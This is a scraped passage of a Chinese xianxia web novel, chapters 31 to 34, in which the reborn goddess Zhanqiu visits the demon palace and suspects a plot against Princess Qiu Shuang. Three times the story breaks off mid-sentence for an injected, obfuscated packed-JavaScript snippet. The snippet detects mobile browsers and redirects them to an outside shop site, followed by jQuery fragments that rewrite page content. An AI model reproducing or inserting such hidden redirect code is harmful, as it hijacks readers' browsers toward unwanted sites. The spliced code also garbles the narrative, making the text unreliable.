“退一步讲,就算如今你们已然成婚,又如何?” 31. 第31章 轿舆方才停下,斩秋便听见外面传来一声巨响,犹如爆炸一般。 她推开轿门走下去,这才看清楚了眼前的画面。 只见百里及春与裘安所乘的那俩轿舆如今只剩个底座,而他二人仍坐在其中,座下四只狞兽被惊得朝周围跑散,地面上还躺着裂开的车壁碎片。 百里及春不慌不忙地起身,抬手掸了掸衣角碎屑,嘴角微扬:“多谢二殿下如此热情,为本座掀开轿门。” “不过二殿下掀门的方式,还真是特别。” 说完他迈步走出废墟般的车厢,仿佛这一切不过是一场微不足道的插曲。 此刻裘安的脸色阴沉得似要滴出水来,幸而理智尚存,没有作出更有失身份之事。 他深吸一口气,平复着胸口的怒意,心中暗恨自己不该这么轻易便被其激怒。 不过是父神随便指给他的女子而已,他何需在意? 裘安一面想着,一面扭头朝斩秋看去。此时正逢斩秋抬眸,四目相对间,裘安的眼色又冷了几分。 不对。他在意的不是斩秋,而是神族的颜面。百里及春如此轻浮地说出那些话,就是在赤裸裸地挑衅神族的威严,而他之所以会动怒,不过是在意这个罢了。裘安在心中对自己道。 斩秋早就料到他们会起摩擦,因此她并不在意,很快便收回视线,仔细地审视起周围。 眼下他们身处深山密林之中,周围有异光波动,想来是一片结界。若她猜的不错,皇宫就在这结界之后。 她下意识地抬手,欲试试这结界,却被不远处雪岚阿谀的声音惊醒,顿时回过神来,收回了手。 “哎呀,两位殿下定是因为路途太漫长,故而在轿内里练了几招了罢!唉,是雪岚照顾不周,没给两位殿下准备些解乏的乐子,实在是抱歉。不过两位殿下真是好身手,好身手呀。” 雪岚一副故作无知的姿态,笑呵呵地替裘安与百里及春打着圆场,随后又走到斩秋与裘霜这边来,邀他们上前,“神君,请。公主殿下,请。” 说完只见他轻阖双目,口中微微念了句什么,随后缓缓抬手在空中绘制着复杂的符文。 待完成后,他的手掌猛然向前推去,便见前面成排的树木突然向左右移动散开,继而出现一道青色的屏障。 那道屏障便如被火焰舔舐的纸一般,中央出现一个洞口,瞬间侵蚀着四周的结界向外蔓延开来,最终如同灰烬般飘散,无影无踪,仿佛这里从始至终便是这个模样。 这里便是妖族的皇宫了。 与人界的宫城截然不同,四周环绕着浓密的妖族古树和潺潺的溪流,路上生满了各种奇异的花卉,花瓣在日光下散发着柔和又细腻的光芒,走在上面仿佛踩在星辰之上。 雪岚并未将他们带到妖皇面前,而是去往一座唤作魅灵的宫殿。进去后,他微微颔首对他们道:“各位在此稍候片刻。”说完他便退了出去,只留下四只妖兽守在门外。 斩秋扫视了一圈周围的环境,此殿华丽别致不假,可是殿内却连壶茶也没有,更无侍者于左右,显然妖皇对他们的到来没有任何安排。这般待客之道,倒是有些令人惊讶。 虽然上一世斩秋便听闻新任妖皇性情古怪,且从不以真面目示人,但经过今日这一遭,她才算真正领略到何为古怪。 原以为很快便能见到妖皇,可他们在殿中足足等了半个时辰,才见殿外施施然走来一名带着面具的女子,她的身后跟着两列随侍,想来其身份不凡。 裘霜身为神族公主,自幼养尊处优,也养成了几分心高气傲的个性。纵使眼下不在九重天,但就这样莫名被人晾在殿中半个时辰不闻不问,她也是受不住的。 好不容易见眼前来人,她忍不住上前质问一番,口吻颇为不悦:“你是何人?你们妖皇呢?他究竟是什么意思,分明是他邀请我们来的,可如今把我们晾在一座空殿候着,是否太不把我们天界放在眼里了?” 来者虽戴着面具,但那双眼睛却独具韵味。听完裘霜一番话后,笑意从她的眼角溢出,没有任何遮掩,仿佛并不在意对方是否看见。 裘霜见她久久不答且举止轻慢,火气又涨了几分,脸颊也因愤怒泛起红晕。正当她欲再度开口之时,一道温和的力量压在她的手腕。 斩秋将裘霜拉至身后,随后抬眸看向戴着面具的女子,微微颔首笑道:“陛下当真是好趣味。遭人误解非但不解释,还乐在其中,这般情况实乃少见。” 她的声音温和有礼,但话里却无半分敬意,仿佛是不满其对裘霜的戏弄之意。 后者闻言并不恼怒,反而双眸一亮,饶有兴味地问道:“你怎知朕是妖皇?” 话音甫落,裘霜不可置信地看向斩秋,复又扭头看向被称作“妖皇”的女子,愣了愣神。同样感到吃惊的还有裘安,不过他并未让那抹讶色在面上停留多久。 而百里及春,依旧一副风轻云淡的模样,仿佛对此并不关心。 “陛下虽然未着象征着身份的帝袍,但您身后跟随的皆是妖族精锐,而非普通侍从。”斩秋看着她身后之人,缓缓说道。 “若我记得不错,站在您身后的那两位分别是轩暨和晏名,再往后是赤水、芜觞。他们可都是妖族最厉害的将领,能站在一众将领之首者,想必只有陛下了。” 妖皇辰琰听罢抚掌大笑,忽而上前几步行至斩秋身边缓缓围绕着她走动,一双眼在她身上细细打量着,道:“听雪岚说天界此次前来的还有裘霜公主与斩秋上神,让朕也猜猜,你是其中哪一位。” 走了一圈以后,辰琰在她面前停了下来,目中笑意不减:“传闻缥缈境的那位斩秋上神前些日子回了天宫,那日在殿上见过她的人都称其气度非凡。依朕看,你便是那位气度非凡的小神君了。” “陛下谬赞。”斩秋微笑答道。 辰琰又将殿中余下几人一一问候一遍,一番客套话下来,她面具之下的笑容已略显僵硬。索性敛起笑容,恢复往常的模样。 许是那双眼睛太过深邃阴沉,导致她的目光一旦失了笑意便显得阴冷,以至于将她接下来所说的话也被渲染上几分诡秘之意:“朕已为几位在宫中安排了住所,几位这两日便在宫中宿下,两日后一同参加我族妖神祭典。” 辰琰说完缓缓抬手,手指轻挥了两下,似是朝谁发号施令。随后七八名侍者从涌入殿内,分别朝着斩秋四人而去,欲引领他们去往各自的住所。 裘安见状不为所动,依旧驻足于原地,他的目光落在辰琰身上,声音略显沉闷:“妖皇此番如此大费周章地邀我等前来,当真只是为了让我们参观你妖族盛典?” 辰琰循声朝他望去,意味深长道:“妖神祭典可非寻常盛典,说不准会有意想不到的趣事呢。” …… 宫中道路错综复杂,殿外廊道、小径曲折蜿蜒,它们看似有无数条分岔的道路,实则其中大半没有尽头,路走着走着便消失了。 斩秋看着脚下时刻变幻着的道路,心中隐约升起一股莫名的不安。 想来若无侍者的指引,她恐怕会迷失在这诡谲的殿宇之中。这也意味着接下来的两日,她不可随意出入自己所在的宫殿。若要出去,则需妖族侍者的陪同。 这与禁足有何区别? 而且他们四个都被安排在不同的宫殿,彼此之间也就此断了联系。妖皇这么做,莫非是存了将他们彼此隔绝之心? 就在斩秋沉浸在这复杂的思绪中时,脚步已不知不觉跟随侍者走到了终点。她抬起头,望着殿前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633954|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌匾,轻声念出了上面的三个字:“琼光殿。” 入夜。 月光穿过高耸的窗棂,安静地洒落在地上,仿佛为其披上一层薄薄的银纱。 此时殿外没有侍者,只有四头妖兽看护。是以斩秋就算在殿中待得百无聊赖,也只能走到窗边暗自叹息。 她望着窗外那轮明月,心中想起了灵衫,不由喃喃自语道:“也不知道灵衫那边如何了……” 不想此话落下竟有应答。 一道熟悉的声音从她身后响起:“她眼下定然无碍,你无需担心。” 斩秋惊讶地转过身去,只见百里及春从阴影中缓缓出现,步伐沉稳从容。 “你是怎么进来的?”斩秋疑惑地问他。 今日妖皇并未告诉他们彼此的住所,况且在这个时辰,已无侍者引路,他是如何找到她的? 百里及春依旧不疾不徐地朝她走近,随着他的移动,月色逐渐照清了他的轮廓,揭示出那双深邃的眼睛。 “走来的。” 他的目光平静,口吻更是敷衍。 听到这个回答,斩秋微微蹙眉,目光直直地盯着百里及春。半晌,倏尔想起了什么。 那日他们前去裘安寝殿时,他也是这样一副坦然从容的表情,仿佛一切都在他掌控之中。 他在天宫时能驾轻就熟地避开朝云宫守卫进入裘安的寝殿也就罢了,毕竟天宫之中尚有他安插的细作。可如今到了妖族皇宫,他为何依旧来去自如? 就算妖族也有他安插的眼线,可是这里地形复杂,道路变幻莫测,他又是第一次来此,仅凭细作传回去的消息怕是无法做到对此地形了如指掌罢。 想到此处,斩秋看向他的眼神逐渐变得复杂而深沉,其中混合着震惊、猜忌与隐隐的不安,垂落在身体两侧手指逐渐收紧,她往前一步,沉声质问道:“百里及春,你究竟是何人?” 后者目色微动,眼中闪过一瞬不该有的期待,而后很快便被理智淹埋。 他静静注视着她,漠然道:“你觉得呢?” 不知为何,斩秋似乎在他脸上看见了几分失落。但当她欲仔细探究时,那点失落已然消失无踪,取而代之的是无尽的冷漠。 “你不是第一次来这儿?”斩秋道。 她虽然在问,但语气十分笃定,仿佛已经知道答案。 “算是吧。”百里及春垂眸半晌,淡道。 他的回答模凌两可,教人摸不准他的意思,斩秋又问:“据我所知,魔族与妖族虽无交恶,但关系也没好到让你一个魔尊随意进出妖族皇宫罢?” “的确没有。” “那你为何对这宫中道路了如指掌?” 百里及春闻言默了片刻,继而抬眸紧紧盯着斩秋,他的目光专注到仿佛要穿透她的灵魂,声音却尤为懒散。 “若说本座比你多活过一遍,你信吗?” 话落,斩秋的瞳孔猛地一缩,面上浮现一抹难以掩饰的震惊。她的脑海登时闪过了无数的疑问,试图猜测他此话背后的真正意图。 他是在试探她吗?他都知道些什么? 这般想着,斩秋的掌心随之冒出些许细细的汗珠。她咽了咽喉咙,正色道:“你在说什么胡话?” “你既知是胡话,何故如此紧张?”百里及春轻轻颔首,随后移开了视线不再看她,唇边却倾泻一抹微不可见的笑容。 斩秋听罢敛眉,目中透着浓浓的警惕,转开了话题:“你半夜前来究竟所为何事?” “确有一事想要问你。”百里及春道,“若裘安欲对裘霜不利,你会出手吗?” 听他这么没头没尾的一问,斩秋忽然间有些恍惚:“怎么个不利法?” “比如,杀了她。” 32. 第32章 斩秋心中一紧,回想起上一世裘霜的结局。 她死在了妖界。当时除了裘安,无人知晓她真正的死因。 她自然想过裘霜的死或与裘安有关,这也是她执意要来妖界的原因。只不过从前这些都仅仅是她的猜测,如今突然被百里及春点明,心里不禁觉得不可思议。 “为何这么说,可是你发现了什么?” 他既然能轻而易举地找到她所在的琼光殿,想必也能找到裘安与裘霜罢,莫非他看见了什么? 却见他轻轻摇首,缓声道:“随便一问罢了,不过本座的确想知道你的答案。” 怎么可能是随便一问,斩秋心中腹诽,不由凝眉,半晌答道:“此事若是真的,我自然不会坐视不管。” “好。”百里及春点头,面上没什么情绪,随后缓缓转身似欲离去。 才走出两步,他忽然停下,像在犹豫什么。 片刻后,他转回身来重新走到斩秋身前,倏尔朝她伸手,摊开掌心露出一把赭色的种子,淡道:“在天宫时,灵衫曾向本座替你求取此物。” 斩秋顺着他的动作低头看去,很快认出了他手中之物。那是茈茴的种子。 茈茴乃父神生前最喜欢的花,于上古时期便存在了。每每看见它,便会想起父神。 自父神逝后,她便一直想在缥缈境中栽上几棵茈茴树,可惜在天界到处寻不到它的种子,她还一度以为此树已经绝迹了。 上次在魔界时,她看见重守殿外种满了茈茴,一时欣喜忆起从前,便与灵衫提到了此事。 只是她没想到灵衫竟会向百里及春索求茈茴种子,更让她始料未及的是后者竟会将此事放在心上。 他们之间,不是会互相送礼的关系。 斩秋抬眼看向百里及春,神情中透着些许茫然与猜疑:“你……” “你若觉得本座别有所图,”百里及春看穿了她的心思,坦然道,“那便是。” 斩秋听罢正欲推拒,却闻前者又道:“就当是本座催促你尽快找到回元。” 百里及春说完将手中的茈茴种子轻放至窗台,没给她反驳的机会,利落地转身而去。 待他的身影消失在黑暗中,斩秋才将视线收回,落到了一旁的窗台上。她望着那几粒赭色的种子,神色逐渐变得复杂。 接下来的两日过得无比平静,白日里妖皇命人给他们好吃好喝地伺候着,夜里还设了两次酒宴,算是尽了地主之谊。 也是在酒宴上斩秋才知道,原来受邀前来的还有人间的君主,以及冥界的幽冥帝。 幽冥帝冥珩与她也算旧相识了,故而借着晚宴叙了叙旧,忆起了她游历人间的那两年。 那时的她尚且年幼,最见不得生死离别,尤其是她身边之人,那些她在凡间结识的朋友。 于是擅作主张跑去冥界与冥珩提出交易,用灵丹宝物换他在那些人的生死薄上添上几笔,只为给他们求得一世平安长乐。 如今想来,她当时的举动颇为荒谬,亦过于天真。 不要干预凡人命格,是冥珩为她授的第一课。 冥珩虽未答应与她的交易,却因欣赏她的赤诚与她成为了朋友。后来在她凡间的好友故去那日,冥珩破格让她代替勾魂使者,为她的故人引路奈何桥。 之后没多久,她便返回了天界。 他们最后一次见面,是玄焰真神殒世的那日。 如今一千余年未见,斩秋心中百感交集,忍不住拉着他多饮了几杯。酒过三巡,她才想起问他为何出现在此。 “冥界向来置身四界之外,从不与其他界域之主来往,你怎么会应邀来此?” 冥珩闻言放下酒樽,剑眉微敛道:“妖皇差人送了三次请帖,最后一次请帖中提到此次妖神祭典或有神迹降临,需各界共同见证。” 听他这么说,斩秋的醉意瞬时消了大半。 她的目光朝席间主座的位置飘去,看着辰琰惬意悠然的模样,不由暗下神色。 神迹? 这话为何让她有种莫名的不安呢? 斩秋收回视线时,目光与对面正盯着自己的裘安相撞。 席间,他端坐着,双手放在面前的矮桌上,可桌前的酒肉他却丝毫未动。 他望向斩秋的眼神十分平静,却不容忽略。 一旁的冥珩也注意到了那道难以无视的目光,略一挑眉,打趣道:“忘了和你说恭喜了。” “恭喜什么?”斩秋应声移开视线,抬眸看向冥珩,不知他这猝不及防的恭喜是为何意。 却见冥珩的眼神往裘安的位置扫去。 他虽未言明后话,但斩秋已然读懂了他的意思。 这是在恭喜她那六界皆知的婚事。 “你还是别恭喜得太早了。”斩秋撇了撇嘴,端起面前的酒樽一饮而下。 她的声音冷了许多,带着几分明显的不豫。 冥珩自是听出了其中怪异,但他知道这份不豫并非冲着自己,而是对面那位。作为朋友,他很默契地没有继续这个话题。 百里及春很少在外人面前喝酒。 故而今日酒宴他与裘安一般,只是来此走个过场。正巧他的位子在裘安旁边,相距不过两个手臂的距离,不用刻意扬声说话对方也能听见。 “二殿下可曾想过,妖皇一反常态将六界之人聚集于此,是为何意?”他忽然道。 裘安闻言没有转头,只是眼神轻轻移向了百里及春。他的眼眸微微眯起,仿佛在衡量着他此话背后的含义。 妖神祭典,祭的是已逝的妖神。传闻先妖神逝后尚有一缕神识留于妖界,被封存在魂玉珠中,由历代妖皇以元神奉养。在百年一次的妖神祭典上,妖皇会请出魂玉珠,由祭司主持法事。 这于妖族而言确是大事、盛事,可于他们外界之人来说,却是无甚意义。 起初他以为妖皇只是借祭典为由,实交好之心。可到这儿以后他才发现,若妖皇当真存心拉拢,那她想要拉拢的怕是不止他们天界。 如此野心,裘安并不乐见。 在他心里,虽各界各司其主,但理应唯天界为尊。 见裘安没有搭腔,百里及春不以为意,缓缓起身离席,掠过他身前时丢下一句轻飘飘的话语。 “兴许明日,当真有震惊六界之事发生呢。” …… 妖神祭典并不在白日举行,于是斩秋昨夜吃完酒回去,直接睡到了日上三竿。 起身后她不再像前两日那般把青天白日虚度在屋里,而是吩咐随 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633955|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行的妖侍带她到宫中四处逛逛。 “宫中怎么如此冷清?”见四下无人,斩秋不由问道。 话落,身旁妖侍传来回应:“晚上便是祭祀大典,宫里的人手全都被唤去祭坛做准备了。” 斩秋“哦”了一声,明知故问道:“那你们怎么不去?” 妖侍没有回答。 她又道:“魔尊在哪间殿?” “琼明殿。” “带路。”她话说完,应答之声却从身后响起,“你要找本座。” 斩秋旋即转身,看见了百里及春的面容。 “你跟踪我?” “不是你要找本座吗?”他不答反问,随后目光落在她身后的两名妖侍身上,“你们下去吧。” 斩秋闻言转头看向他们,只见两名妖侍颔首领意,很快消失在她的视野当中。复转回头来,眯眼问道:“他们为何会听你的话?” 妖皇之所以差人跟随在她与裘安等人身边,一是因为他们乃外族之人,对宫中道路不熟悉,这些妖侍便能起到引路的作用。二来则是替妖皇监视他们。 可百里及春与他们一样都是外族,妖侍怎么可能听他差遣? 除非这是妖皇默许的。 如此想着,斩秋看向他的眼神逐渐变得狐疑。可他依旧没有回答她的疑问,从容地将话题转开。 “你找本座何事?” 斩秋知道他若不愿说,就算她追问亦是无果,于是不在此事上浪费时间,坦然道:“突然想起一件事,需与你商量。” 百里及春微微颔首,示意她继续。 “日后你若见了涂千羽,能否高抬贵手饶她一命。”斩秋没有与他绕弯子,直接将话挑明,“我知道那日在天宫伤你之人是她。” 百里及春听罢倒是没什么反应,既无秘密被她发现的愤怒,也无对她此番提议的惊讶,只是平淡地问了一句:“为何?” “她日后或许会为我所用。” 她相信涂千羽会去缥缈境找她合作。 百里及春偏首看向一旁散发着异香的花树,唇角散开冷意,有些意味深长地说:“一条会反咬主人的狗,你也敢要?” 斩秋闻言眉心微蹙。 沉默半晌,她才扯出一抹笑意:“我不养狗。” 她的口吻略显讥诮,百里及春不由转回头来,垂眸看着她脸上的笑容,声音不辩喜怒:“她可是差点害本座丧命。” “可我不是救了你吗?权当抵消了罢。”斩秋展眉笑道,脸上颇有几分期待讨好之意。 可惜百里及春并不吃这一套。 他非但不松口,脸色还沉了几分,冷声道:“一码归一码,你曾说过救下本座是为了你自己。本座并不欠你。” 此事已是他第二次提起了,记性倒是挺好。 斩秋掀了下唇,心中懊悔万分,早知当日她就不嘴硬了。难得有机会救他一回,她该挟恩图报的。 越想越觉得可惜,斩秋不由在心中轻叹一声。正当她以为此事没得商量时,头顶忽然又响起他的声音。 “放过她也未尝不可。只是她的命……” 百里及春双唇一张一合,低沉的嗓音在空气中流淌,充满了蛊惑之意。 “你得拿别的换。” 33. 第33章 夜幕降临,整座皇宫陷入了一片黑暗,唯有宫中密林闪烁着光亮。 而这抹光亮来自林中的祭坛。 祭坛由墨色的巨石砌成,周围环绕着一圈矮烛和灵符,烛上血色的妖火在微风的吹拂下缓缓摇曳着。 一名身穿黑色法袍的男子站在祭坛中央,他的面容苍白如雪,但那一双眼睛却黝黑深邃,仿佛能够洞察世间万物。 辰琰携妖族长老与各界受邀之人聚集于此,站在祭坛外圈朝里望去,看着黑袍男子呈上魂玉珠行至石碑前,将妖神祭典拉开序幕。 斩秋虽然目视前方,但她的眼神空洞游离,脑海中还在回忆着今晨百里及春说的那句话。 她原以为他会提出什么刁难的条件,狠狠宰她一笔,也做好了被他算计的准备,可到头来他说什么? 与他到人间洛城赏灯? “疯了吧。”斩秋忍不住嘀咕一声。 他只有疯了或是傻了才会提出这样莫名其妙的条件罢。 虽然她一直摸不清百里及春的脾性,但她想,像他这样身居高位者,手段非常,断不会做亏本的买卖。 “嗯?”一旁的裘霜听见动静贴了上来,压低了声音道,“秋姐姐,谁疯了?祭司吗?” 她说着看向前面念着咒语作法的祭司,顾自点点头,颇为赞同:“我也觉得他疯了,这世上哪有什么唤醒神识之法呀!我才不信他能靠法术从先妖神的神识中寻到什么。” 斩秋被她的声音拉回心神,这才聚集视线朝祭坛中央的祭司望去:“唤醒神识?” 裘霜继续说道:“若是想要窥探凡人的记忆,任何达到上仙水平的仙君都能做到。可对方并非凡人,而是神,还是拥有极高修为的神,怎么可能轻易教人窥探他的过往。” “不过我从前倒是听司命提起过,从前南海有一檎水族,族中修为到达巅峰者可窥神明过往。只是檎水族早在千年前全都死光了,如今这六界中怕是再找不出能窥探神明记忆之人了,更何况大祭司面对的还只是一缕残缺的神识。” 说到这,裘霜又朝斩秋挪了两步,挨她更近了些,贴在她的耳边窃窃说道:“秋姐姐,你说这妖族祭司莫不是在虚张声势吧?” 斩秋听罢抿了抿唇,不知该如何应答。 诚然,她也从未听闻有人能与残缺的神识通感。可若仅仅因此就断定祭司在故弄玄虚,怕是有失偏颇。 “且先看看罢。” 祭坛中央,祭司捧着魂玉珠朝上空抛去,口中念起咒文。随着声音的起伏,上方的空气开始凝结,缓缓聚拢将魂玉珠托起。 而后他又从袖中掏出一根镶嵌着玉石的短杖,手持短杖轻轻一挥,便见其末端燃起了灵火。 他用这道灵火点燃了石碑下方环绕的灵符,只见符文宛如活了过来,在空中飞舞着,一圈一圈往上攀绕,最终将空中飘悬的魂玉珠层层围住。 此时祭司丢掉短杖,双手合力捏着灵诀,将其朝上空推去。空中层层环绕的符文瞬时被击碎,化作细沙朝下掉落,而其中包裹的魂玉珠散发出一道翠绿的光芒,连接着祭司的额心。 霎那间,只见祭司像是被神魂附体一般,浑身僵住,眼睛开始不受控制地翻白。 就在众人疑惑之际,空中的那道绿光突然消失,他也瞬间瘫坐在地,捂胸吐出一口污血。 见状,围观者中有人欲跑上祭坛查看祭司的伤势,却被辰琰一个动作拦了下来。她轻轻摇首,眼神似乎在提醒着:不急。 斩秋瞥见辰琰的举动,察觉出一丝古怪。 总觉得她似乎知道些什么,正在翘首以盼。 过了一会,只见祭司抬手擦掉唇边血迹,颤颤巍巍地站起身来,随后又转身朝祭坛下方跪了下去。 他面色大喜,似是得到了什么了不得的喜讯,眼眶因激动而变得湿润,抱手对妖皇施礼贺道:“陛下,大喜!” “臣方才在魂玉珠中看到了鲲鹏的图腾,此乃水风结合之兆!” “依臣之见……先妖神或许尚有血脉留存世间!” 他的声音兴奋而清亮,音量分明不大,却响彻整个祭坛。 话音辄止,祭坛众人面色一震,其中最为惊愕的当属斩秋。 她不自觉地拢起手指,双目牢牢盯着祭坛上方悬空的魂玉珠,心中暗道一句:这怎么可能? 上一世六界之中从未有过任何关于妖神的传言,故而自玄焰真神逝世以后,她的真实身世除了天帝祁华便再无人知晓。 就连后来裘安在陨神坛前要置她于死地时,也仅仅指明她乃妖族而已,而非先妖神遗孤。 与此同时,一旁裘安的表情也没好到哪儿去。 他的神色阴沉,心中仔细衡量着此事虚实。 传闻妖神血脉一旦觉醒,其神力可治愈众妖生灵。若今日祭司所言为真,日后妖族或将成为天界的心头大患;若此事是妖皇装神弄鬼,那么她背后的用意,其心可诛。 半晌,众人回过神来,不禁开始议论纷纷。 “先妖神已逝近两千年,若真尚存血脉于世间,这么多年六界之中怎么会一点消息也没有?” “是啊,就算其血脉尚未觉醒,身上也会有留有妖神印记啊,要想将妖神印记抹去,可不容易。” “这么多年也没见过身怀妖神印记之人,许是祭司弄错了罢?” “不过妖神印记是否被封印也未可知。” …… 议论声很快被一道清亮的声音打断。 “祭司所言可是真的?” 辰琰的面容虽被面具遮掩,但她的声音却透着难以掩饰的兴奋。 “臣所言句句属实,不敢欺瞒陛下!”祭司颔首回禀,说完又仰头看向辰琰,脸上满是谦恭敬畏,“陛下,这真是先祖庇佑我族啊!” “好!”辰琰大笑,转身面向众人,“诸位今日便都是这神迹的见证者!还望诸君不吝相助,在各界多加留意,助我妖神血脉早日归位!” 话音甫落,斩秋双眸微眯。 寥寥几句便将此等足以震惊六界之事盖棺定论,未免太着急了。 这着急的架势,不像是要费力寻找妖神之后,反倒像是他们已然找到了此人,所以急于将此事昭告天下,方能给他们所找之人正名。 可斩秋瞧着辰琰对待她的态度,并不像是认出了她的身份。否则这两日里,为何没人向她传来半句消息? 还有昨夜冥珩在酒宴上曾说,辰琰去信邀请他来妖界时曾在信中提及,此次妖神祭典或有神迹降临。 妖神祭典开启之前便预言有“神迹”,若非巧合,便说明这一切都是辰琰事先预谋好的。 想到这里,斩秋脑海中蓦然闪过一个荒谬但现实的想法。 ——辰琰要扶一个假冒之人上位。 那她邀请各界之人到此参加妖神祭典,便是想借此将妖神血脉尚存的消息传遍六界。 但她这么做为了什么? 为了震慑各界,告诉他们妖族仍有后盾吗? 可各界帝君、元老可都不是吃素的,想要随便找一妖族冒名顶替妖神后人的位置,在他们那里恐怕行不通罢。 不说别人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13633956|143683||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,裘安定是第一个不信。 思及此,斩秋下意识地朝裘安看去。 却见他眼眸低垂,似在思量着什么,随后抬眼,目光朝她这边递了过来。 只是他所望之人并不是她。 斩秋顺着他的视线轻轻侧首,看见了身旁的裘霜,不禁瞳孔微张,耳边回荡起百里及春在琼光殿对她说过的话。 ——“若裘安欲对裘霜不利,你会出手吗?” ——“比如,杀了她。” 斩秋心中难以抑制地感到不安,不禁在脑海中快速翻阅着上一世与妖神祭典相关的记忆,欲从其中找到任何有用的线索。 若上一世也按照如今的轨迹发展,妖神祭典过后,便该有“妖神尚存血脉”的消息流出。 可当时祭典过后并未传出任何有关此事的消息,唯一震惊六界的新闻便是“天界公主裘霜死于妖界”。 当时内情如何,无一人对外透露。就连后来天帝也对此闭口不谈,并未深究妖族的责任,也未追责裘安看护不当的罪过。 无论怎么看,裘霜都像是一个牺牲品。 虽然不知具体细节,但联想其中种种,斩秋已然能够将此事描画出模糊的轮廓。 想必裘安就算不信妖神有后一事为真,却也不愿此等传闻流出。因为此事一旦被宣扬出去,必会引起一番动荡,于天界不利。 所以他亲手制造了裘霜死于妖界的戏码,而后栽赃嫁祸,将责任推给妖族。 以妖族如今的实力,担当不起两族交战的后果,只能任其拿捏。彼时裘安便以不追究裘霜之死为筹码,换取妖族对此次祭典发生的一切闭口不谈,这也包括妖神祭典上祭司的所有言论。 而天帝之所以没有追究妖族和裘安的罪责,想必是知晓内情,为了巩固和维护天界的地位,对此睁一只眼闭一只眼了。 他也不用担心妖族会找到所谓的妖神后人,因为斩秋一直在他的眼皮底下。 斩秋越想越觉得可笑,分明是妖界和天界各自心怀鬼胎,可在这场博弈算计中唯一付出代价的却是什么都不懂、傻傻地期待着玩乐的裘霜。 想罢,她大步朝裘安走去,神情凝重地唤了他的名字:“裘安。” “我们谈谈。” 眼前突然冒出的身影打断了裘安的思绪,他应声垂眸掠了斩秋一眼,并未搭腔。 斩秋压低了声音,试探地问道:“今日的妖神祭典,你怎么看?” 似是没想到她会有此一问,裘安眉梢轻挑,含糊其辞道:“妖族之事,与我何干。” “二殿下说的是。”斩秋赞许地点头,循循善诱道:“无论这妖神血脉是真是假,都不会危涉天界,便与我们无关。如今祭法也观完了,我看接下来几日的庆典也没什么意思,不如明日一早我们就返程吧。” “不着急,霜儿似乎还没尽兴呢。”裘安望着不远处看热闹的裘霜,眼底有暗流涌动,缓声道,“什么都没得到就这样回去,难免心存不甘。” 不知怎的,后面那句话并不像在说裘霜,而是在说他自己。 斩秋听得起了一身寒颤,不由又道:“在此逗留能得到什么?除却妖皇安排的行程,我们每日都只能待在宫殿里,依我看,还不如回天宫逍遥。” 裘安闻言收回视线,兴致勃勃地注视着她。 哪怕她掩藏的很好,但他还是从她眼神中捕捉到了一闪而过的惶恐。 下一瞬,仿佛发现了什么有趣的事,他漫不经心地朝她靠近两步,唇边倾泄一道玩味的笑意。 “斩秋,你在怕什么?” 34. 第34章 裘安还是和从前一样,能够洞察她的慌乱,并且乐在其中。好像对他来说,欣赏旁人的不安是一种莫大的乐趣。 斩秋不由拧眉,心中满是厌恶。 他问她在怕什么? 怕他对裘霜出手,怕他将一切扳回上一世的局面,更怕这次祭典一事他会将她也算计其中。 重活一次,可不是为了给他机会再次伤害自己的。但是这些话她无法说出口,亦不能说。 “二殿下说笑了,我有什么可怕的。” 斩秋抬眼看他,忽而翘起嘴角,“只是这祭典上的奇闻,有关妖神尚存血脉于世一事,着实有趣,我实在是忍不住想回天宫与陛下分享此事了。” 在言语试探上,斩秋从未落过下风。 裘安想看她慌乱,她怎么可能让他如意。 说完她便冲他微微颔首,略有告辞之意,又道:“不如我先回去将此奇闻告诉陛下,让陛下也感受一下这妖神祭典的传奇之处。” 话落之际,她果然瞧见裘安眼中划过一丝寒意,似有冰雪在其眼底慢慢凝结。 “何必如此着急。”裘安道,“我们既是一同来的,不是应该一同回去么?” 他的语气阴冷,似是在克制着什么,口吻不像是在疑问,更像是在命令。 看来她猜得不错,裘安果然对此事还有筹划。在筹划落实之前,他不会让人将此事宣扬出去。 斩秋略微眯眸接过他的话,皮笑肉不笑道:“也是。既然二殿下与公主都有意在妖界多待些时日,我理应与你们同在。” 此番过后,斩秋更加确定上一世裘霜之死与裘安脱不了干系。待夜里祭典方一结束,她便去寻妖皇辰琰商谈,要与裘霜同住一殿之事。 听到她的请求,辰琰面露一许诧异,但其并未思虑多久,很快便应了下来:“早就听闻你与二殿下有婚约在身,如此裘霜公主便也算是你的妹妹。看见你们感情如此深厚,朕,断没有阻碍此情的道理。” 斩秋原以为与辰琰商讨此事要费上一些功夫,毕竟她先前故意将他们隔开,还差人监视着他们,像是在提防着什么。 如今却这么轻而易举地答应了,仿佛她原先的顾虑已然消除了。 